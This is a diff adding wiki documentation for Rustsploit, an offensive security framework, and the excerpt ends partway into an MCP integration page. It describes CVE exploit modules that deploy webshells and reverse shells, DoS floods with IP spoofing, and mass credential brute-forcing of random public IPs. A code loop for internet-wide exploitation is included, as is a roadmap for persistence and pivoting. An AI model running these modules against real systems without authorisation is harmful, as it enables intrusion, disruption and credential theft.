| `redis_bruteforce` | 6379 | AUTH command (legacy + ACL) | Redis 6+ ACL support, INFO version detection |
|
||||
| `elasticsearch_bruteforce` | 9200 | HTTP Basic Auth | Cluster detection, open-access check |
|
||||
| `couchdb_bruteforce` | 5984 | Session auth + Basic fallback | `/_session` POST, `/_all_dbs` verification |
|
||||
| `memcached_bruteforce` | 11211 | SASL PLAIN (binary protocol) | Open memcached detection, version check |
|
||||
|
||||
### Web Protocols
|
||||
|
||||
| Module | Port(s) | Auth Method | Features |
|
||||
|--------|---------|-------------|----------|
|
||||
| `http_basic_bruteforce` | 80, 443 | HTTP Basic Authentication | HTTPS, custom paths, redirect detection |
|
||||
| `fortinet_bruteforce` | 443 | FortiOS web login | CSRF token extraction, realm support |
|
||||
|
||||
### Network Management
|
||||
|
||||
| Module | Port(s) | Auth Method | Features |
|
||||
|--------|---------|-------------|----------|
|
||||
| `snmp_bruteforce` | 161 (UDP) | SNMPv1/v2c community strings | Custom SNMP packet, BER parsing |
|
||||
|
||||
### IoT / Messaging
|
||||
|
||||
| Module | Port(s) | Auth Method | Features |
|
||||
|--------|---------|-------------|----------|
|
||||
| `mqtt_bruteforce` | 1883, 8883 | MQTT 3.1.1 CONNECT | TLS/SSL, anonymous detection, client ID |
|
||||
| `rtsp_bruteforce` | 554 | RTSP Basic Auth | Path brute-forcing, custom headers |
|
||||
|
||||
### VPN
|
||||
|
||||
| Module | Port(s) | Auth Method | Features |
|
||||
|--------|---------|-------------|----------|
|
||||
| `l2tp_bruteforce` | 1701 (UDP) | L2TP/CHAP handshake | Full L2TP session + PPP CHAP |
|
||||
|
||||
### Utility
|
||||
|
||||
| Module | Description |
|
||||
|--------|-------------|
|
||||
| `enablebruteforce` | Raise file descriptor limits (ulimit) for high-concurrency scans |
|
||||
| `sample_cred_check` | Template/example credential check module |
|
||||
| `acti_camera_default` | Multi-protocol default credential check (FTP/SSH/Telnet/HTTP) |
|
||||
| `camxploit` | Mass camera scanner with port + path + credential testing |
|
||||
|
||||
---
|
||||
|
||||
## Mass Scanning Support
|
||||
|
||||
All 28 credential modules support mass scanning via the framework's multi-target dispatcher. The framework automatically handles:
|
||||
|
||||
- **Random targets** (`random`, `0.0.0.0/0`) — generates random public IPs with `EXCLUDED_RANGES` enforcement
|
||||
- **CIDR ranges** (e.g., `192.168.1.0/24`) — expands and iterates all hosts
|
||||
- **File-based targets** — reads one target per line from a file path
|
||||
- **Comma-separated targets** — splits and runs against each target
|
||||
|
||||
Modules use `is_mass_scan_target()` to detect mass-scan mode and `run_mass_scan()` to delegate to the framework dispatcher. This is handled at the framework level, so individual modules do not need custom mass-scan loops.
|
||||
@@ -0,0 +1,61 @@
|
||||
# Credits
|
||||
|
||||
---
|
||||
|
||||
## Project
|
||||
|
||||
| Role | Name |
|
||||
|------|------|
|
||||
| Project Lead | s-b-repo |
|
||||
| Language | 100% Rust |
|
||||
|
||||
---
|
||||
|
||||
## Inspiration
|
||||
|
||||
- [RouterSploit](https://github.com/threat9/routersploit) — modular embedded exploitation framework
|
||||
- [Metasploit Framework](https://github.com/rapid7/metasploit-framework) — industry-standard exploitation framework
|
||||
- [pwntools](https://github.com/Gallopsled/pwntools) — CTF exploit library
|
||||
|
||||
---
|
||||
|
||||
## Wordlists
|
||||
|
||||
- [SecLists](https://github.com/danielmiessler/SecLists) — the majority of bundled wordlists
|
||||
- Custom additions in `lists/` — documented in `lists/readme.md`
|
||||
|
||||
---
|
||||
|
||||
## Key Dependencies
|
||||
|
||||
| Crate | Purpose |
|
||||
|-------|---------|
|
||||
| `tokio` | Async runtime |
|
||||
| `reqwest` | HTTP client |
|
||||
| `clap` | CLI argument parsing |
|
||||
| `anyhow` | Error handling |
|
||||
| `colored` | Terminal color output |
|
||||
| `axum` | REST API framework |
|
||||
| `suppaftp` | FTP/FTPS (v7, tokio async) |
|
||||
| `hickory-client` | DNS (v0.25, builder pattern) |
|
||||
| `ipnetwork` | CIDR range matching |
|
||||
| `rustls` | TLS (v0.23+) |
|
||||
| `bytes` | Buffer management (`BytesMut`) |
|
||||
| `subtle` | Constant-time API key comparison |
|
||||
| `strsim` | Fuzzy module name matching (Levenshtein) |
|
||||
| `rustyline` | Interactive shell line editing |
|
||||
| `serde` / `serde_json` | Serialization / JSON persistence |
|
||||
| `ssh2` | SSH protocol support |
|
||||
| `des` / `aes` / `cipher` | Cryptographic primitives |
|
||||
| `chrono` | Date/time handling |
|
||||
| `uuid` | Unique identifier generation |
|
||||
|
||||
---
|
||||
|
||||
## Legal
|
||||
|
||||
> ⚠️ Rustsploit is intended for **authorized security testing and research only**.
|
||||
> Obtain explicit written permission before targeting any system you do not own.
|
||||
> The authors accept no liability for misuse.
|
||||
|
||||
Licensed under the terms in [LICENSE](../LICENSE).
|
||||
@@ -0,0 +1,2 @@
|
||||
# Donation
|
||||
|
||||
@@ -0,0 +1,135 @@
|
||||
# Exploit Modules Guide
|
||||
|
||||
Best practices for writing and extending exploit modules in Rustsploit.
|
||||
|
||||
---
|
||||
|
||||
## CVE Referencing
|
||||
|
||||
Always mention CVE IDs, vendor names, and affected products in:
|
||||
- The module file docstring / top-level comments
|
||||
- Output messages (e.g., `[*] Testing CVE-2025-14847 on {}`, target)
|
||||
- The [Module Catalog](Module-Catalog.md)
|
||||
|
||||
---
|
||||
|
||||
## Response Validation
|
||||
|
||||
Validate server responses before declaring success — false positives hurt credibility:
|
||||
|
||||
```rust
|
||||
if response.status() == 200 && body.contains("expected_indicator") {
|
||||
println!("{} Confirmed vulnerable: {}", "[+]".green(), target);
|
||||
} else {
|
||||
println!("{} Not vulnerable or patched", "[-]".red());
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Artifact Handling
|
||||
|
||||
If the exploit downloads or writes files (e.g., memory dumps, webshells):
|
||||
- Store in the current working directory or a named subfolder
|
||||
- Name files descriptively: `mongobleed_results_{target}.txt`, `nginx_pwner_results_{target}.txt`
|
||||
- Inform the operator where output was written
|
||||
|
||||
---
|
||||
|
||||
## Clean-Up Instructions
|
||||
|
||||
If the exploit adds credentials or accounts (e.g., camera modules), document:
|
||||
- The impact of the change
|
||||
- How to revert (e.g., default creds to restore, commands to run)
|
||||
|
||||
---
|
||||
|
||||
## Interactive Options
|
||||
|
||||
Use `cfg_prompt_*` helpers from `crate::utils` if end-user input is needed. These respect the priority chain (API custom_prompts > global options > interactive stdin), ensuring modules work in shell, API, and CLI modes:
|
||||
|
||||
```rust
|
||||
use crate::utils::{cfg_prompt_default, cfg_prompt_yes_no};
|
||||
|
||||
let command = cfg_prompt_default("command", "Command to execute", "id").await?;
|
||||
let deploy = cfg_prompt_yes_no("deploy_webshell", "Deploy webshell?", true).await?;
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Mass-Scan Support
|
||||
|
||||
For modules supporting internet-wide scanning (target `0.0.0.0/0`):
|
||||
|
||||
```rust
|
||||
if target == "0.0.0.0" || target == "0.0.0.0/0" || target == "random" {
|
||||
loop {
|
||||
let ip = generate_random_public_ip();
|
||||
if !is_excluded_ip(ip) {
|
||||
execute(ip.to_string().as_str()).await.ok();
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
See `EXCLUDED_RANGES` documentation in [Security & Validation](Security-Validation.md).
|
||||
|
||||
Disable honeypot detection in mass-scan mode to avoid interactive prompts blocking the scan loop.
|
||||
|
||||
---
|
||||
|
||||
## Module-Specific Notes
|
||||
|
||||
### Hikvision RCE (CVE-2021-36260)
|
||||
- **Safe check** — writes/reads a test file to verify exploitability
|
||||
- **Unsafe reboot** — reboots the device to confirm (destructive)
|
||||
- **Command exec** — output retrieved, supports blind mode
|
||||
- **SSH shell** — deploys Dropbear SSH on port 1337
|
||||
|
||||
### MongoBleed (CVE-2025-14847)
|
||||
- Sends malicious compressed packet with inflated `uncompressedSize`
|
||||
- Parses error response to extract leaked memory chunks (field names / types)
|
||||
- Prints any leaked strings (potential credentials / data) to console
|
||||
- Includes deep-scan mode for extended analysis
|
||||
|
||||
### n8n RCE (CVE-2025-68613)
|
||||
- Authenticates via `/rest/login` (token / cookie-based)
|
||||
- Creates a malicious workflow with expression injection payload
|
||||
- Triggers via `/rest/workflows/{id}/run`
|
||||
- Cleans up test workflow after execution
|
||||
- **6 payload types:** Info, Command, Environment, Read File, Write File, Reverse Shell
|
||||
|
||||
### FortiWeb SQLi → RCE (CVE-2025-25257)
|
||||
- SQL injection via `Authorization: Bearer ';{injection}` header
|
||||
- Writes webshell via `SELECT INTO OUTFILE`
|
||||
- Uses `.pth` trigger for Python `chmod` execution
|
||||
- Interactive modes: deploy webshell, execute command, test SQLi only
|
||||
|
||||
### NginxPwner
|
||||
- **10 checks:** version disclosure, CRLF injection, PURGE method, variable leakage, merge slashes, header bypass / IP spoofing, alias traversal, `X-Accel-Redirect` bypass, PHP detection, CVE-2017-7529 integer overflow
|
||||
- Results saved to `nginx_pwner_results_{target}.txt`
|
||||
- Prints reminders for manual checks (Redis, CORS, request smuggling)
|
||||
|
||||
### DoS / Stress Testing
|
||||
|
||||
> ⚠️ Authorized testing only. These modules can cause service disruption.
|
||||
|
||||
| Module | Notes |
|
||||
|--------|-------|
|
||||
| `null_syn_exhaustion` | Raw socket, IP spoofing, XorShift128+ RNG, configurable PPS, >1M PPS capable |
|
||||
| `connection_exhaustion_flood` | FD-bounded semaphore, supports infinite mode with graceful Ctrl+C |
|
||||
| `tcp_connection_flood` | DNS pre-resolved, high-concurrency handshake stress, infinite mode |
|
||||
| `http2_rapid_reset` | CVE-2023-44487 — HTTP/2 stream reset flood |
|
||||
|
||||
---
|
||||
|
||||
## Framework-Level Multi-Target Support
|
||||
|
||||
All exploit modules automatically benefit from the framework's multi-target dispatcher. There is no need to implement target iteration inside individual modules. The framework handles:
|
||||
|
||||
- **Comma-separated targets** — `192.168.1.1,192.168.1.2,192.168.1.3`
|
||||
- **CIDR ranges** — `192.168.1.0/24` expands to all hosts in the subnet
|
||||
- **File-based targets** — pass a file path containing one target per line
|
||||
- **Random targets** — `random` or `0.0.0.0/0` generates random public IPs with `EXCLUDED_RANGES` enforcement
|
||||
|
||||
The dispatcher calls the module's `run()` function once per resolved target. Modules only need to handle a single target string.
|
||||
@@ -0,0 +1,59 @@
|
||||
# Future Features Roadmap
|
||||
|
||||
Rustsploit is under active development. Below are some of the major features planned for upcoming releases.
|
||||
|
||||
## Recently Completed
|
||||
|
||||
### 3rd-Party Plugin System
|
||||
The `plugins/` directory is now fully operational. Drop `.rs` files into `src/modules/plugins/` with the standard `pub async fn run(target: &str)` signature and they are auto-discovered at build time. A safety warning is displayed at shell and API startup when plugins are loaded.
|
||||
|
||||
### Framework Services (Metasploit Parity)
|
||||
The following Metasploit-inspired features have been implemented:
|
||||
- **Module Metadata** (`info` command) — CVE, author, rank, description per module
|
||||
- **Vulnerability Check** (`check` command) — Non-destructive verification
|
||||
- **Global Options** (`setg`/`unsetg`) — Persistent options across modules
|
||||
- **Credential Store** (`creds`) — Track discovered credentials with JSON persistence
|
||||
- **Host/Service Tracking** (`hosts`/`services`) — Workspace-based engagement data
|
||||
- **Loot Management** (`loot`) — Structured evidence collection
|
||||
- **Resource Scripts** (`resource`) — Automation from script files
|
||||
- **Console Logging** (`spool`) — Capture all output to file
|
||||
- **Background Jobs** (`run -j`/`jobs`) — Async module execution
|
||||
- **Export/Reporting** (`export`) — JSON, CSV, and summary reports
|
||||
|
||||
---
|
||||
|
||||
## Planned Features
|
||||
|
||||
### 1. Instant Configuration Loading
|
||||
Currently, modules are configured interactively or via API JSON payloads. We plan to add support for instantly loading configuration profiles from disk.
|
||||
- **Goal:** Allow users to save their favorite scan parameters (wordlists, threads, timeouts) to a `.toml` or `.yaml` file and load them instantly.
|
||||
- **Usage Idea:** `run exploits/tomcat_rce --config profiles/aggressive.toml` or `set config profiles/aggressive.toml` in the shell.
|
||||
|
||||
### 2. Dynamic Source Port Modification
|
||||
While we currently support advanced networking like IP spoofing in specific flood modules, we plan to bring dynamic source port control to the framework level.
|
||||
- **Goal:** Allow scanners and exploit modules to bind to specific source ports (e.g., source port 53) to bypass poorly configured firewalls that trust traffic originating from privileged ports.
|
||||
- **Implementation:** Extending the global configuration and socket helpers to accept an optional `bind_port` parameter.
|
||||
|
||||
### 3. Session/Handler Management
|
||||
Add Metasploit-style session management with reverse/bind shell handlers.
|
||||
- **Goal:** Multi/handler listener, session listing/interaction, background sessions.
|
||||
- **Implementation:** Listener framework with TCP/HTTP handlers, session tracking with numeric IDs.
|
||||
|
||||
### 4. Post-Exploitation Modules
|
||||
Add a `post/` module category for post-exploitation tasks.
|
||||
- **Goal:** Privilege escalation checks, persistence mechanisms, credential extraction, lateral movement.
|
||||
- **Implementation:** New module category auto-discovered by build.rs.
|
||||
|
||||
### 5. Network Pivoting
|
||||
Route traffic through compromised hosts.
|
||||
- **Goal:** SOCKS proxy, port forwarding, autoroute through sessions.
|
||||
- **Implementation:** Requires session management (Feature 3) first.
|
||||
|
||||
### 6. Nmap Integration
|
||||
Import scan results directly into the workspace.
|
||||
- **Goal:** `db_import` command for Nmap XML, populate hosts/services automatically.
|
||||
- **Implementation:** Parse Nmap XML output and feed into workspace.
|
||||
|
||||
---
|
||||
|
||||
*If you'd like to contribute to any of these features, please check out the [Contributing Guide](Contributing.md) and open a pull request!*
|
||||
@@ -0,0 +1,145 @@
|
||||
# Getting Started
|
||||
|
||||
Rustsploit is a modular offensive tooling framework for embedded targets, written in Rust and inspired by RouterSploit/Metasploit. It ships an interactive shell, a CLI runner, a WebSocket API server with post-quantum encryption, and an ever-growing library of exploits, scanners, and credential modules.
|
||||
|
||||
---
|
||||
|
||||
## Requirements
|
||||
|
||||
### System Dependencies
|
||||
|
||||
**Debian / Ubuntu / Kali:**
|
||||
```bash
|
||||
sudo apt update && sudo apt install -y build-essential pkg-config libssl-dev libdbus-1-dev cmake
|
||||
```
|
||||
|
||||
**Arch Linux:**
|
||||
```bash
|
||||
sudo pacman -S base-devel pkgconf openssl dbus cmake
|
||||
```
|
||||
|
||||
**Gentoo:**
|
||||
```bash
|
||||
sudo emerge dev-libs/openssl dev-util/pkgconf sys-apps/dbus dev-build/cmake
|
||||
```
|
||||
|
||||
**Fedora / RHEL:**
|
||||
```bash
|
||||
sudo dnf install gcc make pkgconf-pkg-config openssl-devel dbus-devel cmake
|
||||
```
|
||||
|
||||
### Rust & Cargo
|
||||
|
||||
```bash
|
||||
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
|
||||
source $HOME/.cargo/env
|
||||
```
|
||||
|
||||
> Rust 1.85+ is required (edition 2024). Run `rustup update` to stay current.
|
||||
|
||||
---
|
||||
|
||||
## Clone & Build
|
||||
|
||||
```bash
|
||||
git clone https://github.com/s-b-repo/rustsploit.git
|
||||
cd rustsploit
|
||||
cargo build
|
||||
```
|
||||
|
||||
For a release-optimized binary:
|
||||
```bash
|
||||
cargo build --release
|
||||
# Binary written to target/release/rustsploit
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Run
|
||||
|
||||
### Interactive Shell
|
||||
```bash
|
||||
cargo run
|
||||
```
|
||||
|
||||
### CLI (non-interactive)
|
||||
```bash
|
||||
cargo run -- -m exploits/heartbleed -t 192.168.1.1
|
||||
```
|
||||
|
||||
See [CLI Reference](CLI-Reference.md) for all flags.
|
||||
|
||||
### API Server
|
||||
```bash
|
||||
cargo run -- --api
|
||||
```
|
||||
|
||||
This starts the PQ-encrypted API server on port 8080. On first run it generates a host key pair at `~/.rustsploit/pq_host_key` and prints its fingerprint. Clients must be listed in `~/.rustsploit/pq_authorized_keys` to connect. No TLS or API keys — authentication uses SSH-style post-quantum identity keys. See [API Server](API-Server.md) and [API Usage Examples](API-Usage-Examples.md) for details.
|
||||
|
||||
---
|
||||
|
||||
## Docker Deployment
|
||||
|
||||
Rustsploit ships a provisioning script that builds and launches the API inside Docker.
|
||||
|
||||
### Requirements
|
||||
|
||||
- Docker Engine 24+ (or Docker Desktop)
|
||||
- Docker Compose plugin (`docker compose`) or legacy `docker-compose`
|
||||
- Python 3.8+
|
||||
|
||||
### Interactive Setup
|
||||
|
||||
```bash
|
||||
python3 scripts/setup_docker.py
|
||||
```
|
||||
|
||||
The helper will:
|
||||
1. Confirm you are in the repository root (`Cargo.toml` present).
|
||||
2. Ask how the API should bind (`127.0.0.1`, `0.0.0.0`, detected LAN IP, or custom `host:port`).
|
||||
3. Generate or configure PQ identity keys for the API server.
|
||||
4. Toggle hardening mode and tune the IP limit.
|
||||
5. Generate:
|
||||
- `docker/Dockerfile.api`
|
||||
- `docker/entrypoint.sh`
|
||||
- `.env.rustsploit-docker`
|
||||
- `docker-compose.rustsploit.yml`
|
||||
6. Optionally run `docker compose up -d --build` with BuildKit enabled.
|
||||
|
||||
Existing files are never overwritten without confirmation.
|
||||
|
||||
### Non-Interactive / CI
|
||||
|
||||
```bash
|
||||
python3 scripts/setup_docker.py \
|
||||
--bind 0.0.0.0:8443 \
|
||||
--generate-key \
|
||||
--enable-hardening \
|
||||
# PQ identity keys auto-generated on first run
|
||||
--skip-up \
|
||||
--force \
|
||||
--non-interactive
|
||||
```
|
||||
|
||||
To start the stack later:
|
||||
```bash
|
||||
docker compose -f docker-compose.rustsploit.yml up -d --build
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Privacy / VPN
|
||||
|
||||
The built-in proxy system has been removed in favor of system-level VPN solutions.
|
||||
|
||||
We recommend **[Mullvad VPN](https://mullvad.net)**:
|
||||
- No registration — account numbers generated without email or personal data
|
||||
- Proven no-logs policy with audited infrastructure
|
||||
- WireGuard support for high-performance, low-latency tunneling
|
||||
- Excellent Linux CLI for headless setups
|
||||
|
||||
Connect the VPN on your host before running Rustsploit and all traffic routes through the tunnel automatically.
|
||||
|
||||
---
|
||||
|
||||
> ⚠️ For authorized security testing and research only. Obtain explicit written permission before targeting any system you do not own.
|
||||
@@ -0,0 +1,39 @@
|
||||
# Rustsploit Wiki
|
||||
|
||||
Welcome to the Rustsploit documentation hub. Use the links below to navigate to the relevant guide.
|
||||
|
||||
> ⚠️ Rustsploit is intended for **authorized security testing and research only**. Always obtain explicit written permission before targeting any system you do not own.
|
||||
|
||||
---
|
||||
|
||||
## 📖 Documentation Index
|
||||
|
||||
| Document | Description |
|
||||
|----------|-------------|
|
||||
| [Getting Started](Getting-Started.md) | Installation, build, quick-start, Docker deployment |
|
||||
| [Interactive Shell](Interactive-Shell.md) | Shell walkthrough, command palette, chaining, shortcuts |
|
||||
| [CLI Reference](CLI-Reference.md) | Command-line flags, non-shell usage, output formats |
|
||||
| [API Server](API-Server.md) | WebSocket API, PQ encryption, endpoints, rate limiting |
|
||||
| [API Usage Examples](API-Usage-Examples.md) | Practical curl workflows, request/response samples |
|
||||
| [Module Catalog](Module-Catalog.md) | All 240 modules by category — 183 exploits, 27 scanners, 29 creds, 1 plugin |
|
||||
| [Module Development](Module-Development.md) | How to author new modules, lifecycle, dispatcher |
|
||||
| [Security & Validation](Security-Validation.md) | Input validation constants, security patterns, honeypot detection |
|
||||
| [Credential Modules Guide](Credential-Modules-Guide.md) | Best practices for 29 cred modules — mass scan, cfg_prompt_*, concurrency |
|
||||
| [Exploit Modules Guide](Exploit-Modules-Guide.md) | Best practices for 183 exploit modules — multi-target, cfg_prompt_*, validation |
|
||||
| [Utilities & Helpers](Utilities-Helpers.md) | `utils.rs` public API, target normalization, honeypot check |
|
||||
| [Testing & QA](Testing-QA.md) | Build checks (0 errors, 0 warnings), smoke tests, wordlist validation |
|
||||
| [Changelog](Changelog.md) | Release notes and version history (current: v0.4.8) |
|
||||
| [Contributing](Contributing.md) | Fork guide, PR checklist, code style |
|
||||
| [Credits](Credits.md) | Authors, acknowledgements, legal notice |
|
||||
| [Future Features](Future-Features.md) | Roadmap and completed features (plugins, metadata, global options, etc.) |
|
||||
| [About Me](About-Me.md) | Information about the author |
|
||||
| [Donation](Donation.md) | Ways to support the project |
|
||||
|
||||
---
|
||||
|
||||
## Quick Navigation
|
||||
|
||||
- **New user?** → Start with [Getting Started](Getting-Started.md)
|
||||
- **Writing a module?** → See [Module Development](Module-Development.md)
|
||||
- **Using the API?** → See [API Server](API-Server.md) + [API Usage Examples](API-Usage-Examples.md)
|
||||
- **Running from CLI?** → See [CLI Reference](CLI-Reference.md)
|
||||
@@ -0,0 +1,220 @@
|
||||
# Interactive Shell
|
||||
|
||||
Rustsploit's shell (`src/shell.rs`) provides an ergonomic command palette with shortcuts, module/target state tracking, and honeypot detection. Launch it with:
|
||||
|
||||
```bash
|
||||
cargo run
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Command Palette
|
||||
|
||||
All commands are **case-insensitive** and support aliases:
|
||||
|
||||
| Command | Shortcuts | Description |
|
||||
|---------|-----------|-------------|
|
||||
| `help` | `h`, `?` | Show command reference |
|
||||
| `modules` | `list`, `ls`, `m` | List all discovered modules |
|
||||
| `find <kw>` | `search`, `f`, `f1` | Search modules by keyword |
|
||||
| `use <path>` | `u <path>` | Select a module |
|
||||
| `info [path]` | `i` | Show module metadata (CVE, author, rank) |
|
||||
| `back` | `b`, `clear`, `reset` | Deselect current module and target |
|
||||
| `set target <val>` | `t <val>` | Set target (IPv4/IPv6/hostname/CIDR) |
|
||||
| `set subnet <CIDR>` | `sn <CIDR>` | Set target to a CIDR subnet |
|
||||
| `show_target` | `st`, `showtarget` | Display current target |
|
||||
| `clear_target` | `ct`, `cleartarget` | Clear target |
|
||||
| `run` | `go`, `exec` | Execute the selected module |
|
||||
| `run -j` | | Run module as background job |
|
||||
| `run_all` | `runall`, `ra` | Run module against all IPs in subnet |
|
||||
| `check` | `ch` | Non-destructive vulnerability check |
|
||||
| `setg <key> <val>` | `sg` | Set a global option (persists across modules) |
|
||||
| `unsetg <key>` | `ug` | Remove a global option |
|
||||
| `show options` | `so` | Display all global options |
|
||||
| `creds` | | List stored credentials |
|
||||
| `creds add` | | Add a credential interactively |
|
||||
| `creds search <q>` | | Search credentials by host/service/user |
|
||||
| `creds delete <id>` | | Delete a credential by ID |
|
||||
| `creds clear` | | Clear all credentials |
|
||||
| `hosts` | | List tracked hosts |
|
||||
| `hosts add <ip>` | | Add a host to workspace |
|
||||
| `services` | `svcs` | List tracked services |
|
||||
| `services add` | | Add a service interactively |
|
||||
| `notes <ip> <text>` | | Add a note to a host |
|
||||
| `workspace [name]` | `ws` | Show or switch workspaces |
|
||||
| `loot` | | List collected loot |
|
||||
| `loot add` | | Add loot interactively |
|
||||
| `loot search <q>` | | Search loot |
|
||||
| `resource <file>` | `rc` | Execute a resource script |
|
||||
| `makerc <file>` | | Save command history to file |
|
||||
| `spool <file>` | | Log console output to file |
|
||||
| `spool off` | | Stop console logging |
|
||||
| `export json <f>` | | Export all data to JSON |
|
||||
| `export csv <f>` | | Export all data to CSV |
|
||||
| `export summary <f>` | | Export human-readable report |
|
||||
| `jobs` | `j` | List background jobs |
|
||||
| `jobs -k <id>` | | Kill a background job |
|
||||
| `jobs clean` | | Clean up finished jobs |
|
||||
| `exit` | `quit`, `q` | Leave the shell |
|
||||
|
||||
---
|
||||
|
||||
## Example Session
|
||||
|
||||
```text
|
||||
rsf> f1 ssh
|
||||
rsf> u creds/generic/ssh_bruteforce
|
||||
rsf> set target 10.10.10.10
|
||||
rsf> go
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Command Chaining
|
||||
|
||||
Execute multiple commands on one line using the `&` separator:
|
||||
|
||||
```text
|
||||
rsf> u creds/generic/ssh_bruteforce & set target 10.10.10.10 & go
|
||||
rsf> f1 ssh & u creds/generic/ssh_bruteforce & set target 192.168.1.1
|
||||
```
|
||||
|
||||
Commands are parsed and executed left-to-right. Useful for scripting quick workflows.
|
||||
|
||||
---
|
||||
|
||||
## Target Normalization
|
||||
|
||||
When you run `set target`, the value is normalized and validated automatically. Supported formats:
|
||||
|
||||
| Format | Example |
|
||||
|--------|---------|
|
||||
| IPv4 | `192.168.1.1` |
|
||||
| IPv4 + port | `192.168.1.1:8080` |
|
||||
| IPv6 | `::1`, `2001:db8::1` |
|
||||
| IPv6 + port | `[::1]:8080` |
|
||||
| Hostname | `example.com`, `example.com:443` |
|
||||
| URL | `http://example.com:8080` |
|
||||
| CIDR | `192.168.1.0/24`, `2001:db8::/32` |
|
||||
|
||||
Security checks (length, control characters, path traversal) are enforced at the framework level.
|
||||
|
||||
### Multi-Target Support
|
||||
|
||||
The framework-level dispatcher handles multiple target types transparently for all modules. You do not need per-module support for these formats:
|
||||
|
||||
| Format | Example |
|
||||
|--------|---------|
|
||||
| Comma-separated | `t 192.168.1.1, 192.168.1.2, 192.168.1.3` |
|
||||
| CIDR range | `t 192.168.1.0/24` |
|
||||
| File of targets | `t /path/to/targets.txt` |
|
||||
| Random scanning | `t random` or `t 0.0.0.0/0` |
|
||||
|
||||
All modules benefit from this automatically -- the dispatcher expands multi-target values and invokes the module once per resolved target.
|
||||
|
||||
---
|
||||
|
||||
## Honeypot Detection
|
||||
|
||||
After a target is set, Rustsploit automatically runs a honeypot check before module execution:
|
||||
|
||||
- Scans **200 common ports** with a 250 ms timeout each.
|
||||
- If **11 or more** ports are open, it warns that the target is likely a honeypot.
|
||||
- Runs automatically on every `run`/`go` invocation.
|
||||
|
||||
Manual call (from module code): `utils::basic_honeypot_check(&ip).await`
|
||||
|
||||
---
|
||||
|
||||
## Global Options
|
||||
|
||||
Use `setg` to set options that persist across all module executions. These are checked by `cfg_prompt_*` functions after API custom_prompts but before interactive stdin:
|
||||
|
||||
```text
|
||||
rsf> setg port 8080
|
||||
rsf> setg concurrency 50
|
||||
rsf> show options
|
||||
rsf> unsetg port
|
||||
```
|
||||
|
||||
Global options are saved to `~/.rustsploit/global_options.json` and loaded on startup.
|
||||
|
||||
### Common Global Options
|
||||
|
||||
| Option | Example | Effect |
|
||||
|--------|---------|--------|
|
||||
| `port` | `setg port 443` | Default port for all modules |
|
||||
| `source_port` | `setg source_port 31337` | Outbound source port |
|
||||
| `honeypot_detection` | `setg honeypot_detection n` | Disable honeypot checks before `run` |
|
||||
| `timeout` | `setg timeout 30` | Connection timeout (seconds) |
|
||||
| `concurrency` | `setg concurrency 50` | Default thread count |
|
||||
| `verbose` | `setg verbose y` | Verbose output |
|
||||
| `username_wordlist` | `setg username_wordlist users.txt` | Default username wordlist |
|
||||
| `password_wordlist` | `setg password_wordlist pass.txt` | Default password wordlist |
|
||||
| `stop_on_success` | `setg stop_on_success y` | Stop on first valid credential |
|
||||
| `save_results` | `setg save_results y` | Auto-save results to file |
|
||||
| `combo_mode` | `setg combo_mode y` | Full user x pass combination mode |
|
||||
| Any custom key | `setg my_key value` | Modules read via `cfg_prompt_*` |
|
||||
|
||||
---
|
||||
|
||||
## Resource Scripts
|
||||
|
||||
Automate workflows by writing commands to a file and executing them:
|
||||
|
||||
```text
|
||||
rsf> resource scan_network.rc
|
||||
```
|
||||
|
||||
Script format (one command per line, `#` for comments):
|
||||
```text
|
||||
# scan_network.rc
|
||||
set target 192.168.1.0/24
|
||||
use scanners/port_scanner
|
||||
run
|
||||
```
|
||||
|
||||
Auto-loads `~/.rustsploit/startup.rc` on shell startup if it exists. Use `makerc history.rc` to save your command history.
|
||||
|
||||
---
|
||||
|
||||
## Data Management
|
||||
|
||||
Rustsploit tracks engagement data across sessions:
|
||||
|
||||
- **Credentials** (`creds`): Store discovered credentials with host, port, service, username, and type
|
||||
- **Hosts** (`hosts`): Track discovered hosts with hostname, OS, and notes
|
||||
- **Services** (`services`): Track discovered services per host
|
||||
- **Loot** (`loot`): Store collected evidence (configs, hashes, firmware)
|
||||
- **Workspaces** (`workspace`): Isolate data per engagement
|
||||
|
||||
Export all data with `export json report.json`, `export csv report.csv`, or `export summary report.txt`.
|
||||
|
||||
---
|
||||
|
||||
## Background Jobs
|
||||
|
||||
Run modules in the background with `run -j`:
|
||||
|
||||
```text
|
||||
rsf> use creds/generic/ssh_bruteforce
|
||||
rsf> set target 192.168.1.1
|
||||
rsf> run -j
|
||||
[*] Job 1 started: creds/generic/ssh_bruteforce against 192.168.1.1
|
||||
rsf> jobs
|
||||
rsf> jobs -k 1
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Shell Architecture
|
||||
|
||||
Key details from `src/shell.rs`:
|
||||
|
||||
- **`ShellContext`** — stores `current_module`, `current_target`, and `verbose` flag.
|
||||
- **`execute_single_command()`** — the command dispatcher, extracted as a standalone function for resource script support.
|
||||
- **`split_command` / `resolve_command`** — normalize shortcut aliases to canonical keys.
|
||||
- **`render_help()`** — prints the colorized command table.
|
||||
- **Selective persistence** — `global_options.json`, `creds.json`, workspace files, and loot are persisted across sessions in `~/.rustsploit/`. Transient shell state (selected module, current target, verbose flag) is reset on exit.
|
||||
|
||||
Tab completion and command history are powered by `rustyline`.
|
||||
@@ -0,0 +1,222 @@
|
||||
# MCP Integration
|
||||
|
||||
Rustsploit includes a built-in MCP (Model Context Protocol) server that enables integration with Claude Desktop and other MCP-compatible clients. The server communicates via JSON-RPC 2.0 over stdio (stdin/stdout), with no network listener.
|
||||
|
||||
---
|
||||
|
||||
## Starting the MCP Server
|
||||
|
||||
```bash
|
||||
cargo run -- --mcp
|
||||
```
|
||||
|
||||
The server reads one JSON-RPC 2.0 request per line from stdin and writes one response per line to stdout. Diagnostic messages go to stderr.
|
||||
|
||||
---
|
||||
|
||||
## Protocol
|
||||
|
||||
- **Transport**: Newline-delimited JSON over stdio
|
||||
- **Protocol version**: `2024-11-05`
|
||||
- **Capabilities**: `tools`, `resources`
|
||||
- **Server name**: `rustsploit-mcp`
|
||||
|
||||
### Supported JSON-RPC Methods
|
||||
|
||||
| Method | Type | Description |
|
||||
|--------|------|-------------|
|
||||
